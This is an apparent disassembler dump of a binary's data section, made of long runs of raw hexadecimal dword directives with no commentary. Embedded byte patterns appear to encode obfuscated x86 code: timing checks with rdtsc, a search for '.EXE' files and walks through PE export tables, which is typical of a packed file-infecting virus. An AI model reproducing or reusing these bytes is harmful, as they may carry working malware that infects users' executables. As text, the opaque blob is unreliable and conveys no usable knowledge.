3C6C5275h, 94E5C41Ah dd 0A3046746h, 95FD60Ah, 6F0856A7h, 2CA9C81h, 0E9C4F43Dh dd 0B5153300h, 2AD7200Ch, 3020BAC8h, 6AB3008h, 0B4000003h dd 0B5824E88h, 0B09FB191h, 0B299B787h, 8E95BB9Bh, 0F96BA80h dd 0C0F62078h, 0C0F42308h, 0CAEA2308h, 0CFEF3906h, 9326A001h dd 0C699892Dh, 3583F726h, 23290A7Dh, 9FDECADEh, 1CB698B0h dd 382EDC54h, 61976D09h, 75653C84h, 87E637C3h, 0C4D01CBBh dd 30E24A79h, 0FDD52609h, 62B78CD8h, 7AD627C9h, 55D8F24Ah dd 987C4477h, 4D78FC5Dh, 2FBDC698h, 0E751646Eh, 0ECCC8FEAh dd 2464CB83h, 0F0EA5E7Bh, 5677C8AFh, 70C12876h, 4A7AD627h dd 0A281A1E5h, 0B5005D4Fh, 0C8AFF0C3h, 9E6F4F5Eh, 0B61E7C4Dh dd 5B9AA2E9h, 0AFF00EFEh, 6925CBC8h, 661628CFh, 0A72F78C1h dd 0B8D77A12h, 0AE2071C2h, 60305396h, 0D6152827h, 0AB99B39Ch dd 0DE724363h, 2B775771h, 69A3608Ch, 136F6F5Bh db 3Ah, 0E9h word_594F42 dw 3698h ; DATA XREF: ___:off_438100o dd 0A4D7CDE3h, 4995E6D8h, 0CADDC22Eh, 64B594EAh, 0B0ED5762h dd 95E6DED0h, 0E32A753Dh, 0C2D7FFC3h, 0DEEABA7Eh, 98DB2475h dd 1BB393B5h, 0BAF24653h, 0A0F1DEEAh, 78C78F45h, 0C12C0F4Fh dd 269BE7C7h, 0DEEAA45Eh, 49AC94ACh, 0CB937333h, 7617D5E8h dd 0F7C7F35Ch, 3E763EB4h, 0C38529Bh, 0E643A213h, 0D4FDCCCEh dd 294694E5h, 2D88C2C3h, 0EAD70984h, 0C35BC011h, 6D8DC2B6h dd 1AB86D5h, 25130000h, 3A103F11h, 226F3414h, 3E69361Ah dd 3D65321Eh, 0D3E2331Dh, 0A5AB939Fh, 0A5AB939Eh, 0A3AD8D9Eh dd 0BE92B494h, 8A7E5B0Bh, 89C6998Fh, 0EE022C9Ah, 7212A72Fh dd 80C96246h, 69F766A8h, 7AB96A75h, 4562B889h, 43ECE6A7h dd 36176B4Bh, 11DAFFF7h, 0AECCB0F6h, 318F1554h, 0FAEE3008h dd 36EB3404h, 7023B5E8h, 3EB32800h, 0FC000001h, 0FD4A86B0h dd 0F84789A9h, 0FA418FCFh, 0F65DF3D3h, 775EF2C8h, 183E6840h dd 183C6B30h, 2226B30h, 72761CEh, 0CBEEF8C9h, 0C6998F65h dd 25B0F7Eh, 98A72FEEh, 0B086B0B0h, 0F3321B67h, 46BEDEFBh dd 0FA35C962h, 97A792D2h, 0C011624Bh, 0DF3C68Eh, 6C69981h dd 0BF88F635h, 5175576Dh, 0D2280E1Eh, 99A6AAFBh, 3453AF8Fh dd 52FDD5B8h, 5E145767h, 6539E96h, 3E002467h, 0B18C92E2h dd 8E2568C8h, 361A6BCCh, 0B51D3D69h, 2140288Dh, 0B43C8ADh dd 0AD21DAAEh, 0BF88D9C8h, 7EABF07Ch, 62A5F25Eh, 79A18E42h dd 6FC78F41h, 209411Fh, 0BD85E43Ah, 0B3F2DCE2h, 4C7A525Ch dd 88D9300Eh, 88CCFB40h, 0F2F79C6h, 0D37C202Ch, 0E1C5C4FAh dd 2D7E5590h, 5474C30Dh, 0C614226Ch, 743C96E7h, 0AD7DDFA1h dd 0A88BD4C8h, 0AD909FA4h, 0F36FBA6Eh, 3E126340h, 0EB93AB41h dd 0AD847ACEh, 4B2879C8h, 0C8AD84E5h, 0F6426777h, 8F580B86h dd 0BD656DBEh, 5695A592h, 0BA1B07F1h, 0E8CDF5C2h, 0D2B12300h dd 56A4949Dh, 1655A677h, 7D434AA5h, 0D5340A2Ah, 657B684h dd 0F9DDCF38h, 3A457h, 23F20000h, 5066526Fh, 0CBEB3D0Ah dd 0A38388F7h, 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h dd 4179A691h, 3A18327Dh, 895602E4h, 4C681E6h, 83000000h dd 0FF5604EEh, 5E042474h, 5C24048Fh, 5E08950h, 4, 42Dh dd 24048700h, 240C895Ch, 22EA68h, 24148900h, 0EC638468h dd 8B545905h, 0C4812414h, 4, 89CB8953h, 1C8B085Ah, 4C48324h dd 5A2434FFh, 4C481h, 34FF0000h, 0C4835924h, 0E01E904h dd 0C343FFFBh, 7633474Ah, 0B8462486h, 5EC6F11h, 0C38BC503h dd 13E8h, 85754600h, 0A8383968h, 687135EDh, 58CD9165h dd 36B3F9EBh, 0EE860h, 0F0D70000h, 716508FEh, 182EB038h dd 3DF94D7Bh, 942420BAh, 0BF0F585Eh, 0F5A61F3h, 1584h dd 10E900h, 12560000h, 75C5B161h, 21276C42h, 9D9627CBh dd 0C2813284h, 7179h, 0AE8h, 11E32500h, 0CA10C71h, 0BFC293F1h dd 7A9CAF41h, 6858h, 5B530000h, 0FFCEB459h, 8B661134h dd 49B85EFEh, 812064A2h, 0C2EEE9C6h, 0DE8B6653h, 92C6C681h dd 81F53A63h, 5E468DF6h, 5690B436h, 0AC17E081h, 48F31ECh dd 0BA66600Ah, 0F38B49E7h, 0BFF38161h, 834E3218h, 816604E9h dd 812AF5E8h, 0FF8F7CF9h, 16850FFFh, 66000000h, 2FE9D98Bh dd 0C4000000h, 11166131h, 219D75EEh, 0B95670E1h, 2850F1Fh dd 0B3000000h, 0FF8DE9FBh, 0F702FFFFh, 40253057h, 9C7326D9h dd 4529B533h, 0A1C70A4Bh, 0DE96FB5h, 0F000001h, 184h, 0B58DF500h dd 5EC70ECh, 81665760h, 59B212D8h, 1858D61h, 6005EA48h dd 0D480EC8Ah, 0D0FF61D6h, 1860Fh, 0C3F50000h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 0F98B6660h dd 1927D281h, 0E9616F6Bh, 9, 33B05346h, 0B02BB609h, 0D98C665Bh dd 4C1F6F9h, 43840Fh, 6E90000h, 7D000000h, 9D210149h, 8BFB8B35h dd 0AEC032CBh, 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h dd 1013F20h, 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h dd 1B8FA75h, 0EB000000h, 0EB008B09h, 0B8E4h, 0E9CF0000h dd 12h, 0C261A569h, 0FEF3F26Eh, 0AA12A9A9h, 3754FB5Bh dd 6A6633h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0D8EB29C3h, 2B9D2798h, 8BF560D1h, 11E961C2h dd 0C3000000h, 0EE3548DDh, 0D03FD611h, 6730C95Bh, 2C8DB0Ah dd 711C85C7h, 13F05ECh, 3CE90001h, 1, 4Eh dup(0) dd 83000000h, 0E72285BDh, 840F0105h, 4B9h, 15880Fh, 10E90000h dd 0F1000000h, 2E96C670h, 7851D166h, 0B32FD9EBh, 0C6663E2Ch dd 0E707F985h, 0F604305h, 5F57D2B7h, 4E861h, 0D0F50000h dd 0AE9ECA5h, 5B000000h, 0FB66681Ch, 0D787DFB1h, 830F50CEh dd 1Bh, 0AE95250h, 90000000h, 0D754DBF6h, 334F45B5h, 0F310F7Eh dd 86h, 8B585A00h, 0E9042444h, 0Ah, 7DCE7ADDh, 5A66D900h dd 8B32F5h, 14E9h, 8CA21800h, 0C0D1C77Ah, 0D4F8E2A7h, 8D8323ECh dd 9BC86A89h, 244489AEh, 8B666004h, 61C18ADFh, 0B5FFFC58h dd 5E72DC5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 78C35646h, 8DF52CA2h, 0EA796385h, 18E0F05h, 0F9000000h dd 89FCD0FFh, 0E71B0985h, 0B70F6005h, 14E9D6h, 0FB350000h dd 43DC0ABEh, 0D858443Ch, 906470BFh, 7B1BD96Fh, 0C6614466h dd 0E707F985h, 68F95005h, 0EF7EC417h, 6E9h, 785F1A00h dd 81ABC179h, 69412434h, 0CE947D3h, 27000000h, 3E83BED2h dd 13469473h, 0FF2B0B9Bh, 0E72DC5B5h, 168C0F05h, 0E9000000h dd 11h, 3735834Bh, 430AFF2Ah, 1DD76C12h, 3A00888Ah, 63858DBCh dd 6005EA79h, 0F9C28B66h, 5810F61h, 60000000h, 61F85F53h dd 8B0FD0FFh, 1, 0AD8589F9h, 6005E727h, 0BE9F78Bh, 26000000h dd 12E40092h, 7D6B0A97h, 6861E45Bh, 0D0C67FC8h, 0C8F0Fh dd 840F0000h, 6, 310F5250h, 3481585Ah, 49D7E724h, 0BE96020h dd 2000000h, 0EDD65F18h, 0B47740A3h, 0B866167Eh, 0FF61A590h dd 0E72DC5B5h, 0D890F05h, 0E9000000h, 8, 3651675Dh, 2807B8BCh dd 7963858Dh, 850F05EAh, 0Ch, 68A0Fh, 870F0000h, 0 dd 8060D0FFh, 61F86EDCh, 23458589h, 0DE905E7h, 48000000h dd 502F6006h, 24D3FBB8h, 7589EE7Dh, 7F985C6h, 605005E7h dd 46E4BF66h, 2840Fh, 0FE8B0000h, 4E861h, 0DC560000h, 6E9979Ch dd 86000000h, 3399EE8Dh, 0FE95080h, 5C000000h, 5FA19171h dd 2D5FF539h, 56ACCA08h, 448BF31Dh, 52500424h, 6840Fh dd 52500000h, 585A310Fh, 830F310Fh, 2, 585A6160h, 12E9008Bh dd 0B6000000h, 2E5F2067h, 0C21D1FCDh, 98A89D52h, 0E772A317h dd 2444896Dh, 60525004h, 0BE8h, 0FE4DB00h, 2FA0F5C0h, 0D85BD110h dd 0C28B6659h, 0E9310F61h, 9, 1716CF4h, 536BE0B9h, 58585A07h dd 88C0Fh, 850F0000h, 2, 0B5FF6160h, 5E70C25h, 17858DF5h dd 0F05E739h, 0C8Dh, 6840F00h, 0F000000h, 81h, 60D0FF00h dd 0EBB9C68Ah, 61539F58h, 0FD8589h, 6A05E7h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 180424h, 51410000h, 4D62E3C3h dd 10E9DE7Ah, 75000000h, 0A8B7ECC8h, 0A1C429D2h, 0E11D4C94h dd 0FFB3214h, 783h, 18B0F00h, 0FC000000h, 188E9h, 0F50FC00h dd 198Eh, 14E900h, 0E5390000h, 0FC842759h, 0D0C6C249h dd 0FC2B52F8h, 19F62EA6h, 2C8908B9h, 10E924h, 0C0C20000h dd 98E336EEh, 64DB6648h, 0BA06E25Dh, 0EC8B0E30h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 2EC35747h, 27CA0546h dd 6660BB3Fh, 0F73E5BBh, 286h, 61C8B200h, 0F5FCC483h, 1890F60h dd 0F5000000h, 0E8h, 0EA815A00h, 5EC769Ch, 0FC45C7h, 83000000h dd 0E72285BAh, 840F0105h, 98h, 6A006A52h, 992FF0Fh, 5A05E71Bh dd 71A68289h, 9A8D05ECh, 5EC71AAh, 2803C752h, 53000001h dd 0AD92FF50h, 5A05E727h, 0AA9A8D52h, 5305EC71h, 71A6B2FFh dd 92FF05ECh, 5E700FDh, 74C00B5Ah, 0AA9A8D50h, 8D05EC71h dd 0C933247Bh, 104F981h, 0D4740000h, 393C8141h, 4558452Eh dd 348DEE75h, 0C752B39h, 1D69BA8Dh, 4D8B05E7h, 32A4F30Ch dd 0FF52AAC0h, 828D0875h, 5E71D69h, 4592FF50h, 5A05E723h dd 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h, 0 dd 0FC458B61h, 8C2C9h, 7890Fh, 66600000h, 0CA8BF38Bh, 57006A61h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0FFF9CDFh, 485h, 0D98B6000h, 0E0806061h, 12E9E3h, 9C790000h dd 48BEC931h, 0FA22EF5Ch, 26DCFF6Ch, 0E619CDD8h, 8DD28B61h dd 0EC78958Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1804h, 0C3514100h, 6069CE2Eh, 0D810F68h dd 0E9000000h, 8, 0C54E937Dh, 4D4C64DCh, 23158D89h, 6A05E7h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 3A9EFFC3h, 46BCE42Ah, 6650058Bh, 5EBA61BEh, 8B985C7h dd 666405E7h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 24D470C3h, 8B3653ECh, 0E71BCD85h dd 9985C705h, 5E70Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1D042444h, 46000000h, 9F67C356h, 4EA91D44h dd 0B9E55903h, 0FF35DA80h, 0E71575B5h, 35858B05h, 0FF05E701h dd 0E732CD95h, 65858905h, 6A05E709h, 1D95FF00h, 8B05E71Ah dd 321DEBC0h, 0A38BF401h, 65117C6h, 0C805ACEFh, 7FB9769Ch dd 61ADA432h, 0EC1351BAh, 2E6A3F50h, 79658D8Dh, 858905ECh dd 5E727A5h, 23158D89h, 0B58905E7h, 5E72685h, 8B985C7h dd 739805E7h, 0AE90000h, 0C5000000h, 0B8969871h, 9C990151h dd 59D8B51h, 0C705E706h, 0E70C9985h, 5, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 6F8A5A4Dh, 0D6816633h, 0B5FF56B3h, 5E72CC5h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 12C35646h, 4A6E2A64h dd 81CBC704h, 75E59DBh, 0CD95FF3Ah, 8905E732h, 0E724919Dh dd 69B50105h, 6A05E72Ch, 1D95FF00h, 8B05E71Ah, 8D6CEBC0h dd 0F356EA1Eh, 0E3EFA302h, 5C58163h, 0BF37B0F7h, 25E35959h dd 88234311h, 42DD6DA3h, 0E74C9644h, 0CA3C8997h, 179D7BC8h dd 0E9BE788Eh, 0B409F102h, 78708398h, 0E7DE9D80h, 0C8C1C4C9h dd 616303B8h, 0F414F310h, 0FFE985DCh, 34BF7CB3h, 616DDF17h dd 4D7C29FAh, 41FA49E4h, 19878115h, 0F9BE8838h, 28C3A988h dd 97ED427Ch, 0DC35B7EFh, 5E9D111h, 67A5BD48h, 23F148ACh dd 43055C73h, 78792037h, 97FFF172h, 5082B287h, 0F30CC87h dd 7F478726h, 4E23F37Ah, 137008Ah, 0F63FF032h, 0B930F171h dd 3460F15Dh, 6E30F134h, 6FF3A917h, 9F14B5BEh, 0C914B5B6h dd 0E630F12Bh, 0ADF3A177h, 0E281BF7h, 0E4F79AD3h, 0F5E77051h dd 345518B5h, 73C8F137h, 0CD30F139h, 0D4C8C143h, 0C3827460h dd 0A6F62A8Fh, 633FCEABh, 0D3B3A8FFh, 32D7DB02h, 0C6B4FE37h dd 0A730F137h, 0E5D8A137h, 5330F137h, 3068326Fh, 5D34D573h dd 7634D573h, 7730F137h, 10EC3267h, 0C2BE749Ch, 0E630F3B1h dd 9AE17A37h, 0B930F13Fh, 810F08E8h, 82ED4E2Ch, 3A2C4F67h dd 726A9FA3h, 0CD30F3C8h, 0E67F15Dh, 7330F134h, 0E6F3AE17h dd 0D8148DBEh, 6A14B5B6h, 3730F123h, 0CF3A670h, 0B4C674BAh dd 5360F4DBh, 5734789Fh, 0B9347C38h, 0BC63F137h, 0EBBDAF56h dd 32DC88EFh, 54889157h, 0C24163EDh, 0E630F1BDh, 0F2569037h dd 0D84FFEDEh, 67679167h, 2A7E6C24h, 0BD3F916Eh, 9B30F137h dd 0CD30FFDEh, 0EE810B37h, 1BFFA769h, 0D0C8FC94h, 0BD3990CDh dd 4A347856h, 22721FB6h, 0ECFEB60h, 0C8D7ED56h, 17BA31BCh dd 47EE7067h, 0E308F2E3h, 0D1494CB4h, 1B30F4D0h, 228D723Eh dd 9B35162Bh, 9E60E843h, 9C8831BCh, 0FA30F133h, 5E2324B2h dd 0E8AD7C32h, 9135189Dh, 0B468AAE4h, 7C2CE48Ah, 0DA44F132h dd 9C88A267h, 0FA30F133h, 5E2324B2h, 0FFAD7C32h, 91351890h dd 0BC68AAE4h, 0CA309BC0h, 0CD30F2DFh, 2569D137h, 577C786Eh dd 9D747033h, 0DC30E833h, 0AD61B037h, 407F3807h, 5BBB011Ah dd 0B4D06CBAh, 6D82F4DBh, 3A174BAh, 8D8EF4DBh, 2338C41Eh dd 6E3D18E7h, 754CF137h, 2CDF66DAh, 9619A202h, 0EDEFC3C7h dd 0F7B4FEF7h, 4530F137h, 91CA6CBAh, 6E5AF4D0h, 37331965h dd 0C110F137h, 99B9ABF4h, 0A2B1F513h, 7328F513h, 0EB72F137h dd 0FBA98BF4h, 6D889473h, 5D30F137h, 98D8A237h, 0ED30F137h dd 6F6B326Ch, 0F234D56Bh, 0A434D573h, 9F30F137h, 8ACB3264h dd 74BBA518h, 310AEF2Ah, 0CD30F7DFh, 12A9D837h, 152C8E34h dd 0CF7916B6h, 0B6D30E69h, 6DD8A437h, 1730F137h, 126D326Ah dd 4C34D55Bh, 0FE34D573h, 3630F137h, 0E70F3262h, 51F186F4h dd 824919AAh, 0A6B57C32h, 0F1351D47h, 0CED8A037h, 0C630F137h dd 0FA69326Eh, 3834D57Bh, 0C434D573h, 2F30F137h, 0C08D3266h dd 646DF5EFh, 0CD3F19E7h, 6DD6F137h, 99542352h, 22215C23h dd 283FA956h, 99BB97DEh, 38F0FA68h, 9B30C1B3h, 24C37A37h dd 0E630F132h, 7A2A32A4h, 43AD7C98h, 5C35167Ah, 6F8873E9h dd 0DF30F137h, 9B30F132h, 4BEB8996h, 0CB8A97C0h, 90CFAB38h dd 0E3FBE82h, 31AD7CC7h, 4351D4Eh, 34D8A137h, 0BB30F137h dd 4468326Fh, 6734D573h, 6B34D573h, 0F930F137h, 0A4DF3267h dd 61828B5Eh, 3730F4B9h, 1B584E37h, 73568102h, 63BD6ECFh dd 76DC81A6h, 5165F15Dh, 0DC30F134h, 33F3AC17h, 33149DBEh dd 9F14B5B6h, 0CD30F12Dh, 4DF3A472h, 8A9E83FFh, 69CFAD2Fh dd 0D79504B7h, 6B4FEF7h, 5D30F137h, 98D8A637h, 0ED30F137h dd 6F6F3268h, 0F234D54Bh, 0A034D573h, 9B30F137h, 0A81D3260h dd 105D6CBEh, 92D90FBCh, 3E30F137h, 0F7457BFFh, 886904h dd 0F4CA6CBAh, 5E3FF4D0h, 6E30F134h, 8FCA7A51h, 9B30F134h dd 32E34638h, 0B5309BD4h, 7330F2DFh, 7A6BD137h, 0F86C786Ch dd 4A747033h, 3730E733h, 5863B237h, 8E07A45Bh, 0E630FFDEh dd 44684837h, 984FCFE0h, 6C590F84h, 0E4F2A6BEh, 0E18D7CE3h dd 16351D4Eh, 214D21BAh, 0BA4D4932h, 0F6037B7Ch, 0BCD7F9DEh dd 51F13E1Ch, 824919AAh, 0A6B57C32h, 0F1351D47h, 0CED8A037h dd 0C630F137h, 0FA69326Eh, 5E9837Bh, 0C08BA4F3h, 6E9h dd 0B7C7C000h, 6A507B9Dh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0C875C353h, 0D2A8B7ECh dd 94A1C429h, 0FE8h, 0F4121B00h, 0D2D5CE02h, 0B98D3374h dd 0E04B4B64h, 5EF88B66h, 6AC38Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1D0424h, 57470000h, 4A14B9C3h, 5A3A2E62h dd 66D7D491h, 0CBDED781h, 0BF66C08Bh, 0BD83DDE9h, 5E70D79h dd 83097500h, 0E71C15BDh, 19740005h, 0C08B5350h, 47AB8h dd 2D858900h, 8D05E70Fh, 0E9AA9B9Dh, 5BD3FF05h, 15BD8358h dd 5E71Ch, 53501774h, 47AB8h, 2D858900h, 8D05E70Fh, 0E9A73C9Dh dd 5BD3FF05h, 10E858h, 0F1CB0000h, 8735290h, 37A974C0h dd 43DFCD6Eh, 6E9D111h, 36000000h, 0FF6B1C0Ch, 0C08B5F85h dd 8E8h, 49736900h, 6A41E9EFh, 0FA8B66B0h, 0FB8B575Bh dd 0B3C3815Fh, 53000065h, 0AE9h, 3F83F500h, 125BE367h dd 591BD834h, 0B8h, 0FFB9B100h, 81661834h, 5ABE55D9h, 0AEF8BF66h dd 3A05EA81h, 0F78B1C7Ch, 260EC281h, 0FE90296h, 22000000h dd 0CAA66087h, 0BF13AA1Ah, 19733905h, 0F281A61Ch, 3C7D2B88h dd 4CC68151h, 5E0F14A2h, 81031489h, 0B9BD2EC6h dd 60605163h, 83596161h, 0FC6004E8h, 5E9h, 9E15FC00h, 81618D70h dd 0FF9AE4F8h, 98850FFFh, 0BFFFFFFFh, 28A7733h, 10E8h dd 95026500h, 0BECEBD15h, 5C09E9E7h, 431990DEh, 0CABF0F6Bh dd 0E259B958h, 0C081410Ah, 6277h, 0BBAFEA81h, 0DB332F2Fh dd 0A0DA8166h, 18348B57h, 0CB51EE81h, 0AE91423h, 0E1000000h dd 0C22FE23Ch, 208D53Ch, 0F2EE811Ah, 0B903707Eh, 7D2FB223h dd 3CCEE81h, 0B9663C5Bh, 34895BD0h, 7BBF6618h, 76D0BF3Fh dd 0EB835EECh, 0BF666002h, 66B77185h, 664B4B61h, 0FB81F88Bh dd 0FFFF9E2Ch, 12850Fh, 8B660000h, 1EE9F8h, 1BC00000h dd 0D3E672F0h, 901BA061h, 0FF93E9F8h, 0D120FFFFh, 0B6C9390Bh dd 4B4A6FEBh, 3B4BF441h, 205B04EBh, 7EE90B1Fh, 7C000004h dd 7DCA0630h, 78C70929h, 7AC10F4Fh, 76DD7353h, 0F7DE7248h dd 98BEE8C0h, 98BCEBB0h, 82A2EBB0h, 87A7E14Eh, 4B6E7849h dd 0C69962E5h, 35DB8FFEh, 0D511EB7Dh, 0B891EDEDh, 2D852F66h dd 85A9E3CEh, 73404EB9h, 0E8A97B94h, 0B59BE461h, 4298BEEEh dd 420A5375h, 75E68177h, 0F4B182C3h, 0C375E60Ch, 0CFFB3607h dd 95AB38Fh, 89B1FE41h, 236B54AAh, 0D34A0C0Ah, 25765AE6h dd 99A1EED9h, 72507A45h, 0B7D3982Ch, 0A525A40Bh, 2F210507h dd 0E9EDD867h, 4666A78Ah, 4868BD8Ah, 1FBA6272h, 0C375D7A9h dd 0EB371734h, 85E03182h, 75B63AEh, 42EEE873h, 33851049h dd 30C375D7h, 8ABA96E7h, 0D701F7C2h, 3102C375h, 0A98D9FF2h dd 0D71BE055h, 0C382C375h, 5943DDC7h, 630167D9h, 45000000h dd 6547A52h, 75E2CFB3h, 8B0F5EC3h, 0D98E0F81h, 13D67h dd 52890000h, 22962378h, 21C375E2h, 77CF87D0h, 84447271h dd 0DA822E8h, 0C375E1BBh, 320C6FB8h, 0B0FFC1C5h, 657B684h dd 81DCCF38h, 0EB486EBEh, 0C375E105h, 9EFCCD1Eh, 0B010B6D1h dd 8F94B49Ah, 6911B99Dh, 75E1E44Ch, 4FAEFFC3h, 6452C181h dd 0AE088F5Fh, 0DD2E4AA0h, 0B694B681h, 0F3974468h, 0FF516951h dd 8567850h, 80CAF23Fh, 0E410DFA8h, 0B491C455h, 16674694h dd 0AC7FEBD7h, 36BE262Ah, 3BAE67D9h, 38000000h, 8566452h dd 80CAF23Fh, 6C4F6FBFh, 0A422A512h, 2C3C1A04h, 0DF231B07h dd 4995B990h, 0C0C8CE9Dh, 67D98C60h, 3E0Ch, 64524600h dd 0EE3F0856h, 7734F0CEh, 0F1C9F153h, 78528B5Fh, 0F35C045Ah dd 91BAF5D9h, 211C6DB1h, 75E2F378h, 5F7B6AC3h, 0D98EDB75h dd 0DD201867h, 0E6C6C1F8h, 79215B9Ch, 1413Ah, 52050000h dd 3E095565h, 0CEF2C8EEh, 0E22F7D1Dh, 0EDC8F0DAh, 0C375E21Bh dd 9D63B618h, 96C375E2h, 3B397445h, 0E5EDB03Ch, 0F943C44Dh dd 9AD9B7F5h, 6748C5D0h, 0DC2DC95Dh, 0B797B1FEh, 0B49AB299h dd 0FCC67E66h, 4A73AB00h, 0AB1FF83Bh, 85C692F7h, 2860C0C6h dd 2B7DCA06h, 0C0C8370Bh, 5F0CA0FEh, 81BFE93Bh, 7C56A787h dd 84DAFAD3h, 0DA8A46A5h, 0BB058462h, 0D6152331h, 0F1D8D143h dd 117F361h, 35F70000h, 0A430897Dh, 0E9CC0F0Fh, 0C3754107h dd 83E2331Ch, 0A52DF0FCh, 0A67D35FDh, 0CACF078Ah, 40CEB277h dd 0F4C5C375h, 6DB191B5h, 7B78211Ch, 78C95C55h, 0A4E4D32Fh dd 0A7E14E82h, 5C4CBB87h, 0C2CF507Ah, 0B283BBE4h, 280B337Fh dd 8109B2D6h, 0BC5E923h, 0F1D80C84h, 363861h, 28A0000h dd 11A42EEDh, 0C375E37Fh, 4777A28Dh, 62D3127Bh, 8068CD11h dd 4AC375E2h, 0EC03F199h, 0B398A72Fh, 6F4F5C93h, 5D73460Ch dd 56C375E3h, 8610CB05h, 46000000h, 0A72FEE02h, 51ADB198h dd 64B13D78h, 0C95CE83Fh, 0A897EB34h, 0A5F25E60h, 6A4A5D63h dd 8570C519h, 0A3C692E6h, 587EACF3h, 0F6CF2202h, 0B06D7E8Ch dd 23030867h, 5BE991C0h, 0DA656D71h, 0FBDBF2F2h, 0D9854BAAh dd 33724876h, 15BD608Ch, 85CB1F80h, 0B78BD4CCh, 2A604048h dd 86D73604h, 93463CCh, 6DEA63EBh, 4FAEFF0Bh, 0FA9C4F73h dd 0BB13F2FEh, 0B6D38D1Eh, 0A3ECB3C2h, 0B66479Bh, 8FDE3C00h dd 428EDFACh, 2FEE028Eh, 628912A7h, 7546C962h, 0F5C5F25Dh dd 2D7F48B6h, 5078C709h, 454D300Eh, 0CD78507h, 0B0883D5Dh dd 8D8EF9B5h, 96447E2h, 0A113F1Fh, 92AA3C02h, 34042DA7h dd 6F5392A3h, 0D9250900h, 309036A5h, 0D1A3618h, 0F4E73B1Bh dd 1Dh, 4B732322h, 0E2423683h, 7041C375h, 75E2CDB3h, 0DDF5C6C3h dd 75E270F8h, 0C32273C3h, 50665297h, 0CBEB3D0Ah, 0A38388F7h dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h dd 3A18327Dh, 895002E4h, 405E0h, 0E8830000h, 24043304h dd 33240431h, 685C2404h, 667Fh, 68241C89h, 1256h, 57242C89h dd 802EB951h, 0CF8905ECh, 5FFB8959h, 242C8B54h, 4C481h dd 82680000h, 89000051h, 481241Ch, 5446BD24h, 8458F2Bh dd 0BD086D81h, 8B2B5446h, 8957242Ch, 4C781E7h, 83000000h dd 3C8704C7h, 34FF5C24h, 0C4835B24h, 0F8CDE904h, 0C1D7FFFAh dd 8435B819h, 0C50305ECh, 0E418E0FFh, 0B5341EADh, 1B4E5B4Eh dd 83E024DEh, 6FB65A8Ah, 0D74C16FFh, 9A075595h, 0E20C1153h dd 429F14ACh, 65D30D03h, 0DA086C89h, 0F1A02A5Ah, 617839C0h dd 71D020FCh, 933A021Ch, 0CB6C528Dh, 66E92877h, 60000002h dd 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah, 5E70C25h, 7963858Dh dd 0D0FF05EAh, 2BF18589h, 0FE8B05E7h, 680CEFC1h, 20060000h dd 26A006Ah, 0D6857h, 95FF0001h, 5E72BF1h, 32E9h, 0F985C600h dd 5605E707h, 0C530DF68h, 0C5B5FFA9h, 8D05E72Dh, 0EA796385h dd 89D0FF05h, 0E7014985h, 0C5858D05h, 5005E704h, 56A406Ah dd 4995FF56h, 6105E701h, 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 85788589h, 428B05ECh, 7085890Ch dd 8B05EC85h, 85891042h, 5EC8574h, 85AEB58Dh, 858D05ECh dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 0EC8578B5h, 70858B05h dd 8305EC85h, 0EC8574BDh, 840F0005h, 7, 2E90689h, 88000000h dd 0CF06h, 0 dd 8B520000h, 428B60D4h, 78858908h, 8D05EC85h, 0EC85FFB5h dd 35858D05h, 0FF005B7Eh, 8B5A61D0h, 0EC857885h, 4C205h dd 8578858Bh, 8B05ECh, 85788589h, 0CF05ECh, 60000000h dd 85D5B589h, 858905ECh, 5EC85D1h, 13E5858Dh, 408B05E7h dd 0E858944h, 8D05EC86h, 0EC8644B5h, 35858D05h, 0FF005B7Eh dd 858B61D0h, 5EC85D5h, 0D19D8BC3h, 0F05EC85h, 33C43B7h dd 785B8BD8h, 85D19D03h, 738B05ECh, 0D1B50324h, 5605EC85h dd 8B207B8Bh, 0BD031C73h, 5EC85D1h, 85D1B503h, 83FC05ECh dd 8B41FFC9h, 0EC85D59Dh, 3178B05h, 0EC85D195h, 4C78305h dd 0C084028Ah, 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh dd 386048Bh, 0EC85D185h, 0D5858905h, 8B05EC85h, 8BCE8BF0h dd 0EBD81C1h, 5EC86h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 5EC860Eh dd 6070C83h, 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0EBD8100h dd 5EC86h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 5EC860Eh, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 7C858DCFh dd 8905EC85h, 0E715D585h, 12858D05h, 8905EC86h, 0E71F8585h dd 0D9858D05h, 8905EC85h, 0E721C585h, 758D8D05h, 6A05EC88h dd 